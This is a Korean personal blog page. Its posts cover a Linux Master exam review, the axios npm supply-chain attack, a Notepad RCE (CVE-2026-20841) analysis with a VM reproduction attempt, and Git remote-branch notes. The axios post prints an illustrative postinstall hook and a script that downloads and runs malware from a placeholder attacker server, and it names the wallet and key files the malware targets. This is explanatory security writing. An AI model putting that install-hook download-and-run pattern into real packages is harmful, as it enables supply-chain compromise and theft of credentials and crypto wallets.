따뜻한 스프 가게

리눅스 마스터 2급 합격 후기

곰젤리마스터 — Wed, 6 May 2026 13:16:23 +0900

안녕하세요 여러분?
오늘은 리눅스마스터 2급 후기를 적어보려구합니다...

일단 리눅스 마스터시험이란 뭔지 간략히 알려드릴게요

리눅스로 운영되는 전세계 80%이상의 스마트폰, 70%이상의 클라우드 서버, 세계 상위의 500대 슈퍼컴퓨터를 비롯해서 5세대 이동통신(5G), 사물인터넷(IoT), 드론, 자율주행차 등 미래성장동력 분야에서 다양한 응용기반기술에 토대가 되는 자격종목
리눅스 기반 시스템의 관리능력을 평가하는 1급 자격과 리눅스 운영시스템의 프로그램 사용능력을 평가하는 2급 자격으로 구분
리눅스마스터 1, 2급은 NCS(국가직무능력표준) 등을 바탕으로 SW기술자의 체계적 역량 가이드라인 ITSQF(IT분야역량체계)의 IT시스템관리자(L5, L3)로 인정

한 마디로 ... 우리가 알고 있는 네트워크 및 서버 .. 그리구 전반적인 운영체제의 대부분이 리눅스라는 체제 아래에서 운영되고 있는데요?! 그냥 현대 IT 인프라의 핵심이라고 보심 됩니다 !!

이런 운영체제에 대한 이해도를 평가하는 게 리눅스 마스터 시험인데요,

1급이 있고 2급이 있는데 저는 2급을 일단 먼저 취득했답니다?
1급이 난이도가 높구요 실기까지 있습니다 !
하지만 2급은 온라인시험 + 필기시험의 구성이라 처음 자격증을 취득하시는 초심자들에게 딱인 시험이라고 할 수 있어요

https://www.ihd.or.kr/introducesubject1.do

KAIT 자격검정

인사 고과 반영 ㈜KT, 네트웍오앤에스㈜, 신한데이터시스템, 에스큐브아이, 에프아이에스시스템㈜, 위니텍, ㈜애드캡슐소프트, ㈜엘에스씨시스템즈, ㈜파인원커뮤니케이션즈 졸업 인증 숙명여

www.ihd.or.kr

보시다시피 이렇게 있습니다.
참고해주시면 좋을 것 같아요 ~

이외에도 kait자격검정 홈페이지에 다양한 시험들이 있으니 이점도 참고하세요 ~

아무튼 저는 1차 시험을 가볍게 치뤘답니다. . . ㅎㅎ
왜냐? 온라인이기때문에 부담이라는 것은 하나도 없었습니다 . . .

다양한 사람들의 후기를 보니
먼저 1차시험을 빠르게 치고
이후, 좀 더 깊이 공부하며 2차 시험을 준비하는 것을 추천하시더라구요?!

1차 후기

아무래도 시험 난이도도 낮구요 변별력이 있는 시험은 아닌 듯 합니다 !
온라인 시험이니까요

엇 근데 제가 친 이후 시험부터는 좀 더 규정이 빡세졌다고하네요…
카메라로 주변인증+시험관과 채팅?까지…

2차 후기

1차를 너무 대충 쳤던 저는 2차 시험을 정말이지 물로 봤답니다?

ㅎㅎ

이때부터 찾아온 정병이라는 작은 요정

(심지어 제가 머리가 좀 나쁩니다 평균이하로)
암기라는 것에 정말 약한 저는
..

긴 시간동안 매일 쪼금쪼금씩 .. . 공부하기시작합니다
➡️ 그 결과 시험 전날까지 시험범위 다 공부 못 함

그러게 누가 그렇게 조금씩 공부하래

문제를 많이 풀어보고싶었던 저는 2013년도 부터 2023년도 족보를 전부 뽑았습니다
개념을 하나씩 공부할 때마다 공부했던 개념의 문제만 골라서 다는 아니고 한 5년정도의 분량을 풀었던 것 같아요

나무야 미안해

아, 참 개념서는
이기적 2025 리눅스마스터를 참고하였답니다 !
왜 2026이 아니라 2025냐고요? 작년에 따려다가 미뤄서요 ㅋㅋ...

하하 !

아무튼 저는 개인적으로 암기가 너무 어려워서 리눅스 운영 및 관리 요 과목중에
에디터? 이 부분 있거든요? ,,,, 진짜 한숨나옴
전부 암기여서 ..

이해하면서 응용하며푸는게 편하신 분들은 아마
프로세스 및 권한 << 이쪽파트가 좀 공부하실 때 문제 풀 맛이 좀 나실 거예요...
그리고 전공자분들은 네트워크 파트 쉽게 푸실듯 ! 그럼에도 이해보다는 암기를 요구하는 시험이라
자격증 시험이 처음이었던 저는 머리가 좀 복잡했답니다 .. ㅠㅠ

외울 내용이 너무 많구 . . .
게다가 문제를 풀다 보면 책에도 안 나오는 내용들이 더러 있어서
저는 개인적으로 A4용지에다 판서를 수기로 작성하면서 공부를 했었어여...
ㅠㅠ
#내머리가너무나나빠서

후회하는 점이 있다면?
너무 개념에 초점을 맞추고 문제를 좀 덜 풀어서 그 점이 좀 비효율적이지 않았던가 싶긴 하네요.
여러분들은 문제를 많이 풀어보시길

시험장 후기

먼저 시험을 쳤던 친구가 후기로
부산 시험장은 절대 가지마라고 하더라구요?
사유는 너무 오르막길이라고 가다가 쓰러진다는 후기가...

저는 아 그래? 라고 대꾸하긴 했으나
콧방귀를 뀌면서
흥 뭐 . 오르막길이어봤자 얼마나 . ㅋ..

그 선택을 하지 말았어야 했습니다

부산시험장은

진짜

저를 죽음의 직전까지 내몰았습니다

경사가 미친 무슨 스키장인줄알았음
나 진짜 여기가 하이원 상급코스인지 시험장가는길인지 헷갈릴수준이었음
그래서 올라가면서

절대 재시험은 안된다 무슨 일이 있어도

라고 생각했답니다.

다들 끝인줄 알고 기웃거리면
저 멀리로 보이는 작은 오르막길이 끊이질 않았습니다.

나는 진짜 이곳이 지옥인줄알았음
약간 아 ... 공부를 덜 해서 벌받구나 이생각함

시험장들어가니까 다들 후욱후욱거리면서 가방 벗어던짐

일단 1차적으로 오르막길이 심하니까 사람들이 딱 핫도그 놓친 떵개표정짓고있음
저도 마찬가지였구요

문제는 뭐냐면
시험 치고 진짜 절망적이었단거임...

확신해서 푼 문제가 그닥 많지 않았기 때문임

이제 그때부터는

아 ~ 다음엔 대구시험장 가야지~

이런마음가짐을 가지고 가볍게 내려갔답니다?

역시나 리버스 오르막길을 타구요
이젠 내리막길이 된 레전드 오르막길을 내려갔는데

진짜 경사가너무심해서
사람들 다 옆으로 걸어감
제발 ...
왜 시험장을 이런 곳으로 했냐고요

그래서 저는 당연히 불합예상하고 집으로 옴

가채점 날에 답안이 나와서 가채점해봄
-> 가채점결과 5점인가 6점차이로 불합격 !!

이때 이후로 그냥

저는 분필떵개가 됐어요

그러고나서? 최근에 다시 시험 응시자들을 모집하길래

이번에는 꼭 대구시험장 가야지 ~ 다짐하며 오늘 홈페이지에 들어갔는데요?

왜 합격이지

눈을 의심했답니다

...

아무래도 턱걸이로 붙은 게 아닐까 조심스레 예상해보면서..

정말 감사합니다 저 같은 아이를 붙여주시다니요.

다음부턴 진짜 제대로할게요 야르 그래도 합격이다 !!!
다음엔 SQL자격증을 따볼까요?
흠 화이팅. 힘내자.

모두들 합격하시길 기원합니다 ~!!

2026 최신 보안 이슈 - AXIOS 침해사고 발생

곰젤리마스터 — Wed, 6 May 2026 10:38:16 +0900

안녕하세요 여러분?

오랜만에 돌아온 포스팅입니다...

ㅎㅅㅎ

중간고사가 끝나니 공부가 손에 잡히질 않더군요

(시험공부를 열심히 한 것도 아닌데 왜?)

예 아무튼

오늘은 금년 3월 31일에 발생한 보안 이슈를 알려드리려고 왔답니다?

비록 2달이 지난 지금이지만요....ㅎㅎ

Axios npm 패키지 공급망 공격

일단 Axios가 뭐길래 ?

Axios란 웹사이트와 서버 사이에 데이터를 연결해주는 매개체입니다!

Axios가 하는 일

1. 서버에 정보 받아오는 HTTP요청을 보냄➡️Axios가 그 요청을 들고 서버로 감!2. 서버에서 데이터를 줄 땐 보통 텍스트로 줌 ➡️하지만 우리가 사용하기엔 불편➡️Axios는 이걸 받자마자 사용하기 편리한 객체의 형태로 전달함 (Json자동변환)
3. Axios는 데이터 가져올 때까지 기다리라고 약속 (Promise 기반) ➡️데이터 올 때까지 다른 일 하다가, 데이터가 도착하면 then이나 await으로 받아서 화면에 뿌림
4. 전달하기 전에 미리 로그인 여부나 데이터에 이상한 게 섞이지 않았는지 미리 검사하는 기능도 있음 !

한 마디로, 자바스크립트로 서버와 통신할 때 편하고 안전하게 데이터를 주고 받을 수 있도록 돕는 도구!

사건의 전반적인 이해를 돕기 위해 뉴스부터 보실까요?!

https://www.youtube.com/watch?v=COy4eTg-42Y

범인으로 지목당한 것은 다름아닌 북한...

북한 ... 정말 의외지만 해킹강국입니다...

북한의 유명한 라자루스라는 해킹그룹도 있고요

사파이어 슬릿이라는 그룹도 있답니다 (이건 나중에 한번 다뤄보겠습니다)

~~흠 영어 지독히도 싫어하면서 왜 팀명은 간지나는 영어로 지었냐~~

북한의 해커들은 취약점만 찾는 것이 아니라 타겟에게 사회공학적 기법을 사용해서 해킹하는 것으로도 유명합니다

이번 사건 또한 라자루스 혹은 사파이어 슬릿의 소행으로 추정되는데요 !

관리자의 이메일 주소를 자기네들이 제어하는 주소로 바꿔치기하면서 본격적인 작업에 들어갔답니다

https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan

axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity

Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected a hidden dependency that drops a cross platform RAT. We are actively investigating and will update this post with a full technical analys

www.stepsecurity.io

공격 타임라인

출처 : Step Security

공격자는 axios 패키지 안에 직접 악성 코드를 넣은 것이 아니라

패키지의 설정 파일인 package.json을 이용해서 공격한 것!

Step 1. 공격 파일 설치

{
  "dependencies": {
    "plain-crypto-js": "^0.1.7"  // <--- 이게 바로 악성 패키지!
  },
  "scripts": {
    "postinstall": "node setup.js" // <--- 설치 끝나면 바로 실행
  }
}

Step 2. OS 공격

자동 실행된 setup.js가 컴퓨터의 OS를 파악하고, 각 OS에 맞는 멀웨어 다운

// 공격 코드의 로직
const os = require('os');
const platform = os.platform(); // 'win32', 'darwin(mac)', 'linux' 중 하나

if (platform === 'win32') {
    downloadAndRun('http://공격자서버/win_malware.exe');
} else if (platform === 'darwin') {
    downloadAndRun('http://공격자서버/mac_malware');
}

Step 3. 증거 인멸

공격이 성공하면, 자기 자신을 삭제하거나 정상적인 파일로 위장하여 이름 바꿈 !!

피해 규모

악성 코드가 포함된 버전이 노출된 3시간동안 무려 전 세계적으로 약 50만 건 이상의 다운로드가 발생한 것으로 추정된다고 합니다!...ㄷㄷ

이런 공격을 통해 공격자들이 얻을 수 있는 것들이 실질적으로 뭔지 궁금하시죠?

정리해드리자면,

1. 가상화폐 혹은 금융정보⭐⭐⭐

이번 공격은 가상화폐 및 금융정보 탈취가 가장 큰 목적이라고 추정된다고 하는데요,

악성 코드가 실행되면 특정 키워드가 들어간 파일을 우선순위로 찾아냅니다.

예를 들면, key.pem 이나 seed.txt, wallet.json같은 파일들이요 !

브라우저가 데이터를 저장하는 내부 폴더 속에 암호화로 저장된 지갑 데이터를 통째로 복사해 가는거죠 !

2. 서버 통제권

3. 기밀 정보 및 지식 재산

4. 다음 공격을 위한 이전 단계가 될 수 있음...ㄷㄷ

머 이 정도입니다...

무시무시하죠??

해결방안

정말 다행히, 사건이 터진지 몇 분만에 해결되었답니다...

요~ 보안전문가 만세~

Socket Security같은 보안 자동화 도구들이 악성 코드가 업로드 된 지 6분 만에 감지하였고,

보고를 받은 npm운영팀이 해당 악성 코드가 포함된 버전을 npm저장소에서 삭제하였답니다!

이후 메인 관리자 계정을 회수하고, 이메일 주소 등을 다시 정상화 시켰다구 해요...

이 사건 이후로 거대한 패키지 관리자들에게는 2단계 인증이 선택이 아닌 필수 사항으로 적용되었고, axios가 의존하고 있던 다른 패키지들도 싹 뒤져서 문제가 없는지 파악했답니다 !!

또한 npm저장소에서 삭제되었다고 해서 로컬의 사용자 컴퓨터/서버까지 오염된 여부를 파악하긴 힘들기에

관리자들에게 다음 조치를 취할 것을 권고했어요 !

1. 컴퓨터 저장된 오염된 캐시 삭제
2. package-lock.json 수정 : 악성 버전 번호가 기록된 잠금 파일을 수정하고 정상 버전으로 고정
3. 서버 검사 : 이미 실행된 서버는 밀어버리거나, 악성프로세스 떠 있는지 확인 !

알아보며 느낀 점

요새 가상화폐 혹은 금융거래시장이 점차 커지고있는만큼,

해킹을 통해서 털릴 수 있는 가장 취약한 정보 또한 가상화폐 및 금융거래 정보가 되었잖아요?

그렇다면 ...

해당 거래를 할 때마다 사용할 물리적인 디스크를 만드는 것이 어떨까라는 생각을 해봤답니다?

마치 공인인증서를 주로 USB에 담아두는 것 처럼요 ..!

물리적인 행동까진 해킹할 수 없을테니까여.

➡️라고 생각했는데 이미 그런 게 있다고 하네요?

역시나 ... 나만 이런 생각을 하는 게 아니었다. (당연하지 세상엔 나보다 월등히 똑똑한사람들이 얼마나많은데)

그럼 뭐가 있는지 간략하게만 알아볼까요?

1. 하드웨어 월렛

https://shop.ledger.com/?r=ca962bcb2850&gad_source=1&gad_campaignid=23759310935&gbraid=0AAAABDVlh7LZQd6BTi7qMqtlkHcgJvOnx&gclid=CjwKCAjwqubPBhBOEiwAzgZX2sxqeMNlqgGxXBERooKhC1B-R5sSp-087NuWGIX4R7-HTUsthBdHuBoCwO8QAvD_BwE

Ledger - certified secure crypto Hardware Wallets | Ledger

Ledger builds the world's leading certified secure crypto asset hardware wallets. Optimal protection for your BTC, ETH, XRP and more - in your full control.

shop.ledger.com

개인 키를 내부의 칩에 가둬두는 형식!

돈을 보낼 때 물리적 버튼을 눌러야만 승인이 허가된답니다?

대표적인 제품으로는 링크를 첨부한 레저사의 제품이 있구요, 이외에는 트레저사의 제품도 있다네요?

2. 에어 갭

https://keyst.one/?srsltid=AfmBOopT3Yq_-RNiAuxcPPi25yaEgujOreX8jVebHzNUsjjY04ZE2O1W

Keystone Wallet | Secure Open Source Crypto Solution

1m drop, scratch & wear resistant. full Keystone protection.

keyst.one

아예 컴퓨터와 선 조차도 연결하지 않는 방식이라구 해요.

QR혹은 마이크로SD카드로만 데이터를 주고받습니다 !

대표적인 제품으로는 keystoen사, SafePal사의 제품이 있구요

3. Yubikey

코인 지갑은 아니지만, 물리적 보안 인증의 좋은 사례라고 해요!
해커가 비밀번호를 알아낸다한들, 이 물리적 열쇠로 로그인을 할 수 있기 때문에 보안에 효과적입니다

실제로 쿠팡에서도 팔고있네요? ㅎㅎ

~~근데왜 19금이냐 이건~~

예 뭐 여하튼 그렇습니다.

자 오늘의 이슈 분석은 여기까지 하겠구요?

여러분들도 앞으로 주기적인 보안 감사를 하시면서~??

슬기로운 유저가 되시길 바랍니다 . . .

그럼 안녕

RCE 취약점 분석 (CVE-2026-20841)

곰젤리마스터 — Thu, 9 Apr 2026 12:01:03 +0900

안녕하세요 여러분?

이번 블로그는 RCE 취약점 분석으로 돌아왔습니다 .

아시다시피 이 스프가게에서는...

다양한 스프를 끓입니다.

이번엔 맛없는 브로콜리 스프를 끓여보겠습니다

브로콜리 취약점 스프를요...

(취약점 분석하겠다는 뜻)

자자. 그러면 시작해볼게요

일단 RCE란?

Remote Code Execution
원격 코드 실행

이라고 합니다.

공격자가 네트워크를 통해 취약한 시스템에서 임의의 명령어나 코드를 원격으로 실행할 수 있게 하는 보안 약점이라고 하는데요?

한마디로 공격자가 멀리 떨어진 곳에서도

네트워크로 대상 컴퓨터나 서버에 본인이 원하는 명령어나 코드를 실행시키는 취약점입니다 !!

대표적인 유형으로는

Command Injection : 명령어 주입

=> 가장 클래식한 방법 !

웹사이트가 사용자에게 입력받은 값을 그대로 시스템 명령어로 쓸 때 발생 !!

Unsafe Deserialization : 안전하지 않는 역직렬화

=> 프로그래밍 언어에서 데이터를 객체로 변환하는 과정을 노림

즉 서버가 데이터를 읽어들이는 순간에, 내부에 은닉된 코드가 터지면서 실행하게 됨

File Upload Vulnerability : 파일 업로드 취약점

=> 사용자로 하여금 공격 파일에 접근하게끔 유도함!!!

Buffer Overflow : 버퍼 오버플로우

=> 데이터가 넘치게 되면, 돌아가야 할 주소까지 침범해서 공격자가 원하는 주소로 바꿔버림!

결국 RCE의 핵심은 "강제성"에 있게 됩니다..!

조금 더 정확히 말하면 제어 흐름을 가로채는 것입니다.

CVE-2026-20841 분석

https://asec.ahnlab.com/ko/92556/

MS 제품군 2026년 2월 정기 보안 업데이트 권고 - ASEC

MS 제품군 2026년 2월 정기 보안 업데이트 권고 ASEC

asec.ahnlab.com

안랩의 보안 권고문에 따르면,

금년 2월에 보고된 RCE 취약점 중 하나라고 합니다 !

저는 그리구 일단

취약점 분석?! 에 있어서 정말 뉴비이기 때문에 처음부터 끝까지 하나하나 알아볼게요 !

참고 문헌
(2019). 스프링 서버 원격코드 실행 취약점(CVE-2018-1270)을 이용한 응용 공격 시나리오의 대응 방안. 한국전자통신학회 논문지, 14(2), 303-308.

CVE란?

Common Vulnerablities and Exposures!

즉 정보보안 취약점 표준 코드의 약자입니다!

그래서 취약점이 발견 될 때마다 고유한 코드를 붙이는 것 !!

그래서 이 취약점은 어떤 부분에 대한 취약점일까요?

일단 마이크로소프트사에서 작성한 취약점 보고서를 살펴볼까요?

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841

Security Update Guide - Microsoft Security Response Center

msrc.microsoft.com

보시다시피 이런 내용들이 담겨있습니다 .

여기서 중요한 정보가 뭘까요?

바로 취약점의 고유한 성격과 위험도를 나타내는 문자열인

벡터 문자열입니다 !

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

일단 요 문자열은 슬래시를 기준으로 끊어 읽어야 합니다

앞쪽부터 살펴보도록 합시다.

CVSS:3.1

Common Vulnerability Scoring System으로,

보안 취약점이 얼마나 위험한지 점수로 매기는 전 세계 공통 표준 가이드라인입니다.

주관적으로 취약점을 평가하게 되면,

취약점의 위험도를 보는 기준이 모호해지겠지요?

그래서 국제적으로 가이드라인을 세운 것입니다!

아무튼 , 이 가이드라인의 점수체계를 살펴보자면,

점수 범위	심각도
0.0	없음
0.1-3.9	낮음
4.0-6.9	중간
7.0-8.9	높음
9.0-10.0	중요

요렇게 되는데요?

Metrics 측정된 내용을 보면

발견 당시 7.8이었으나

현재는 6.8로 내려간 상태이네요 !

즉, 발견 당시엔 심각도가 높은 수준의 취약점이었으나,

현재는 마이크로소프트사가 공식 패치를 내놓았고, 아직 다행히 해킹 툴이 퍼지진 않았기에

심각도가 중간으로 내려간 상태입니다 ! 하지만 여전히 낮다고도 볼 순 없겠지요

기본 지표

항목 문자열	항목별 설명	수준 문자열	수준별 설명
AV	Attack Vector 공격 경로	L	Local 컴퓨터 안에서 실행되어야 함
AC	Attack Complexity 공격 난이도	A	Low 공격하는 방법 쉬움
PR	Privileges Required 권한 수준	N	None 아무나 공격할 수 있음
UI	User Interaction 사용자 개입	R	Required 사용자 유도형
S	Scope 영향 범위	U	Unchanged 메모장 권한 안에서만 피해를 받음
C	기밀성 (데이터 털리는 정도)	H	High 높음
I	무결성 (파일 변조되는 정도)	H	High 높음
A	가용성 (프로그램 망가지는 정도)	H	High 높음

시간 지표

항목 문자열	항목별 설명	수준 문자열	수준별 설명
E	Exploit Code Maturity 공격 코드 성숙도	U	Unproven (공격자 입장) 공격도구 없는 상태!
RL	Remediation Level 대응 수준	O	Official Fix 공식 패치 유, 업데이트만 하면 안전함!
RC	Report Confidence 신뢰도	C	Confirmed 취약점 인정받음!

여기서 한 가지 의문점이 생겼습니다

Scope가 Unchanged인데도,

즉 영향 범위가 메모장 권한 안에서만 피해를 받는 건데도 왜 이 취약점이 높은 위험도로 평가되는 것일까요?

일단 피해 범위와 권한의 전이를 같다고 생각하는 부분에서 오해가 생긴 겁니다.

여기서 말하는 Scope는 권한의 전이를 의미하구요,

메모장을 해킹했다 한들, 그 해킹 코드가 자동으로 윈도우 시스템 전체를 장악하지는 못한다는 것입니다.

하지만, 메모장의 권한 탈취로 인해 생기는 이후 피해들이 크다 판단해서 CIA 영역에서는 위험도 점수를 높이 평가한 것이구요.

이것은 보안 평가의 핵심적인 모순이라고도 평가되는데요!!!

많은 보안 전문가와 기관에서 지적한 CVSS 3.1의 scope의 핵심적인 모순은,

피해는 크지만 최종 위험도 점수가 낮아지기 때문에

이 보안 지표를 만든 FIRST운영주체 또한 이러한 혼란성을 인정했습니다 !

따라서 2023년 말에는 CVSS 4.0이 정식적으로 나오게 되었구요,

이 CVSS 4.0에서는 Scope 지표가 사라지게 되었답니다?

네 보시다시피 Scope지수가 사라지게 되었답니다....!

혹시나 궁금해하실 분들을 위해 링크도 첨부해 둘게요!

https://www.first.org/cvss/v4.0/

Common Vulnerability Scoring System

Common Vulnerability Scoring System Version 4.0 CVSS version 4.0 is the next generation of the Common Vulnerability Scoring System standard. Some of the changes incorporated into CVSS v4.0 include: Reinforce the concept that CVSS it not just the Base score

www.first.org

https://windowsforum.com/threads/cve-2026-20841-notepad-rce-msrc-confidence-and-urgent-patch-guide.400819/

CVE-2026-20841 Notepad RCE: MSRC Confidence and Urgent Patch Guide

Microsoft’s Security Update Guide has recorded CVE-2026-20841 as a Remote Code Execution (RCE) vulnerability affecting the Windows Notepad app, and the vendor’s terse advisory combined with its “report confidence” metadata demands immediate, measur

windowsforum.com

이번엔 윈도우 포럼에서 발표한 해당 취약점에 대한 내용입니다!

요약하자면,

기술이 발전하면서 메모장도 현대화되기 시작하였지요!?

예전엔 단순한 텍스트 기록용이었다면,

요즘 메모장은 탭 기능, 마크다운 미리보기 기능, 또 요즘에는 클라우드 기반 AI기능까지 탑재되고 있다고 하니

취약점이 늘어날 수 밖에 없겠죠.

그래서 기능이 점점 추가되다보니...공격 표면이 넓어질 수 밖에 없었다는 내용이 있습니다!

기능이 추가될 수록 보안적인 방면에서는 취약점이 늘어날 구석이 많아진다는 것과 같으니까요..ㅠㅅㅠ

또한 보고서 신뢰도 지표의 필요성도 강조하였는데요?

MSRC 메타데이터 같은 경우 신뢰도와 악용성의 지표가 되는 데이터인데,

일단 여기서 Comfirmed라는 평가를 내렸다는 것 자체에서부터

시급하게 처리해야 할 취약점이라는 것을 의미합니다

여기서 발생할 수 있는 공격 벡터들에는 어떤 것이 있을까요!

마이크로소프트사가 공식적으로 발표한 내용들에는

조작된 파일 및 미리보기 컨텐츠
- 이메일이나 클라우드 공유를 통해 특수하게 제작된 파일을 사용자가 열거나 미리보기 할 때 코드가 실행되는 형식!!
- 사용자 유도형
- 메모장의 마크다운 지원이나 이미지 혹은 메타데이터 파싱 로직에 결함이 있을 경우 발생
- 파일 전달은 원격에서 이루어지나, 실제 파싱은 로컬에서 수행되기 때문에 AV:L (Local)임에도 원격 코드 실행이라는 결과로 이어지게 됨!! ⭐⭐⭐⭐⭐
핸들러 및 프로토콜 연관 공격
- 특정 파일 형식이나 url을 처리하도록 등록된 메모장의 핸들러기능을 악용 !
- 윈도우 운영체제가 썸네일을 생성하거나 미리보기를 실행하려면 미리 자동으로 파일을 읽어야 하는데, 이때 사용자가 파일을 열지 않아도 탐색기에서 파일을 선택하거나, 폴더 자체를 여는 것 자체만으로도 공격 코드가 자동 실행될 수 있음! ⭐⭐⭐⭐⭐
업데이트 및 공급망 조작
- 프로그램의 업데이트 경로를 탈취하여 악성코드를 배포하는 방식
- 업데이트 서버를 장악해서 가짜 업데이트 파일을 배포하는 시나리오
컴포넌트 체이닝 및 DDL 하이재킹
- 메모장이 실행 시 호출하는 외부 시스템 파일의 로드 경로를 가로채는 공격 !!!
- 메모장이 미리보기 기능을 위해 특정 렌더링 DLL을 부를 때, 공격자가 미리 준비한 악성 DLL을 로드하도록 유도

개념을 잘 정리했다면 취약점의 PoC도 살펴보아야겠죠?!

PoC란 앞서 정리했던 개념을 증명하는 문서라구 할 수 있슴다

이론이 실제로 어떻게 돌아가는지 보여주는 실행 가이드라고 생각하심 됩니다

제가 참고한 PoC 링크를 첨부하겠슴니다 ~~!!

https://github.com/BTtea/CVE-2026-20841-PoC

GitHub - BTtea/CVE-2026-20841-PoC: PoC

PoC. Contribute to BTtea/CVE-2026-20841-PoC development by creating an account on GitHub.

github.com

일단우분투에서 해당 PoC를 이용해서 실습을 하기로 했답니다?

짜잔 이렇게 제 컴퓨터로 파일이 옮겨진 거 보이시나요?

이거를 다시 윈도우 VM으로 옮겨야하는데 ...

제가 윈도우 VM이 없는지라

결국 다운로드 엔딩. ...

ㅠㅠㅠㅠ

새로운 VM환경을 열기 위해 iso파일을 받아줍니다.

https://www.microsoft.com/ko-kr/software-download/windows10ISO

Windows 10 디스크 이미지(ISO 파일) 다운로드

Windows를 설치할 때 동일한 언어를 선택해야 합니다. 현재 사용 중인 언어를 확인하려면 PC 설정에서 시간 및 언어 또는 제어판의 지역으로 이동합니다.

www.microsoft.com

여기서 일단 windows 10을 다운받았어요 !

우분투에서 iso파일로 다운받고, 공유파일 생성한 뒤

제 본 pc에도 다운받은 다음

그 iso파일로 새로운 window vm을 만들었답니다?!

기다림 끝에 완성된 설치환경

이 아니었고 한참뒤에 완성된 설치환경....

꺄아아 완성 ~

잠만

완성이 아니었음

생각해보니 취약점 발생한 window버전이 11인데 10깔고

...^_^

나 확실히 문제있다

심지어 vitual machine까지 말 안듣길래

vmware로 갈아타느라 애좀 먹었습니다 ㅠㅠ

미친것 ㅉ

드디어 다 됐다

일단 다양한 방법으로 시도해보려고 했으나

패치가 되어있어서 ..

일반 텍스트로 열리게 되네요

윈도우에서 메모장이 링크를 실행하거나 다른 앱을 실행시킬까봐

텍스트로 열게끔 하는 방어작업을 볼 수 있었습니다!

실습 환경을 최대한 구성해보려고

http://tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/8wekyb3d8bbwe/Microsoft.WindowsNotepad_11.2405.13.0_neutral_~_8wekyb3d8bbwe.msixbundle

여기서두 파일을 찾아보고

https://store.rg-adguard.net/

Microsoft Store - Generation Project (v1.2.3) [by @rgadguard & mkuba50]

Online link generator for Microsoft Store. You can use it to get links to almost all apps, games, themes from the Microsoft Store.

store.rg-adguard.net

여기서도 실습환경에 맞는 구버전 노트패드를 찾아봤는데

윈도우에서 이미 손을 썼는지

문제가 있는 버전만 싹 지웠더라구요

ㅠㅠㅠ

아무튼 실습은 여기까지...

가 아니고

선배님께 자문을 구해서 링크를 얻었습니다 !

다시해볼게요

기존 버전을 삭제해줍니다

PoC에 나온 버전 11.2510을 먼저 다운로드 받아줍니다 !!

그 다음

계산기가 열리게끔 텍스트를 작성해주고

마크다운으로 열어주면

클릭링크를 클릭할 시,

이렇게 파일이 열리는 것을 확인할 수 있습니다 !

PoC에 있던 것도 한 번 열어볼까요?

마크다운 구문 말고 텍스트포맷으로 봤을때는 오른쪽 화면과 같은 내용이 담겨있습니다 !

이걸 결국 열면 어떻게 될까요?

이렇게 자동으로

패키지 다운로드가 뜨고 CMD창이 열리는 것을 확인하실 수 있어요!

결국 그래서 이 버전의 노트패드는

사용자가 링크를 열게끔 유도해서, 악성 파일 혹은 cmd창을 실행하게 만들 수 있겠지요?

아무튼 빠른 패치 작업으로 현재는 취약점을 잡은 상태이니

모두들 염려마시길....

좌충우돌 실습은 이제 끝 ~!

모두들 수고많으셨습니다

다음게시물로 또 돌아올게엽

고급 Git 원격 저장소

곰젤리마스터 — Tue, 31 Mar 2026 14:31:01 +0900

안녕하세요...

마지막 단계를 깨러 왔답니다?

feature 브랜치 병합하기

개발자들은 주로 큰 프로젝트를 개발할 때 작업을 feature 브랜치에 하고

준비가 되면 그 작업들을 통합시킨다고 하네여

또 메인 브랜치에 있을 때만 push와 pull을 수행할 수 있다구 합니다.

=> 이렇게 하면 main은 항상 원격 브랜치의 상태와 항상 최신의 상태로 유지될 수 있다!!!

그래서 작업흐름은 두 가지로

feature 브랜치의 작업을 main브랜치로 통합
원격 저장소에서 push하고 pull하는 작업

할게 많습니다 ! 행운을 빕니다 :>

ㄴ 그러세요 그럼 ㅉ

git fetch
git rebase o/main side 1
git rebase side1 side2
git rebase side2 side3
git rebase side3 main
git push

원격작업과 merge하기

새로운 작업들을 원격 저장소로 push하기 위해 원격 저장소의 최근 변경들을 합치기만 하면 됨!

=> 즉 원격 브랜치로 rebase를 할 수도 merge를 할 수도 있다는 것

rebase 장단점

장점
- 커밋 트리를 깔끔히 정리해서 가독성이 좋다
- 모든 게 한 줄에 있기 때문!

단점
- 커밋 트리의 (보이는)히스토리를 수정하게 됨
- 실제 작업이 실행됐던 순서를 정확히 알 수 없음

수정 환경 이력 보존 => merge

안 그래도 되면 => rebase

점점 난해해지는 트리들

OMG 겨우겨우 완성했는데 이게 뭐죠?

git fetch;
git checkout C2;
git merge C8;
git merge C4;
git merge C7;
git branch -f main C11;
git checkout main;
git push;

제 코드는 이건데 정답코드는 훨씬 짧네요

git checkout main;
git pull;
git merge side1;
git merge side2;
git merge side3;
git push;

원격 - 추적 브랜치

예 뭐 그렇다네요

자 이제 중요한 명령어 나옵니다

git checkout -b totallyNotMain: totallyNotMain이라는 이름의 새 브랜치를 만들고 거기로 이동해!
o/main: 근데 이 브랜치는 원격의 o/main을 추적(팔로우) 하게 설정해 줘!

이렇게 하면 브랜치 이름은 totallyNotMain이지만, git push를 하면 원격 저장소의 main 브랜치로 작업 내용이 쏙 들어가는 마법이 일어나. ✨

사실 잘 이해가 안 돼서 제미나이한테 물어보니...

저렇게 친절히 대답해주더라구요

ㅎㅅㅎ

git commit;
git pull --rebase;
git push;

Push의 인자들

아 근데 이제 그만하고싶다

재미가그닥없어요

장난입니다~

이런말하면안되겠지요?

자 이제 push의 인지들에 대해 배워보겠습니다

git push <remote> <place>

일단 place인자의 의미는 멀까?

git push origin main

해석해보면

내 저장소에 있는 main 이란 이름의 브랜치로 가서 모든 커밋 수집
그 다음 origin의 main 브랜치로 가서 이 브랜치에 부족한 커밋을 채워 넣고 완료 되면 알려줌

한 마디로 push할 위치를 지정하는 것이라고 생각하시면 됩니다!!

<place> 인자에 대한 세부사항들

소스와 destination 따로 지정하여 push하기 !!

git push origin <source>:<destination>

일반적으로 이것을 colon refspec이라고 부름!

git fetch 인자들

 git fetch origin <place>

커밋을 place 브랜치에서만 내려받고 로컬의 o/foo 브랜치에만 적용

git fetch origin <source>:<destination>

Source가 없다?!

Git은 source 인자를 두 가지 방법으로 이상하게(?????) 사용함!!

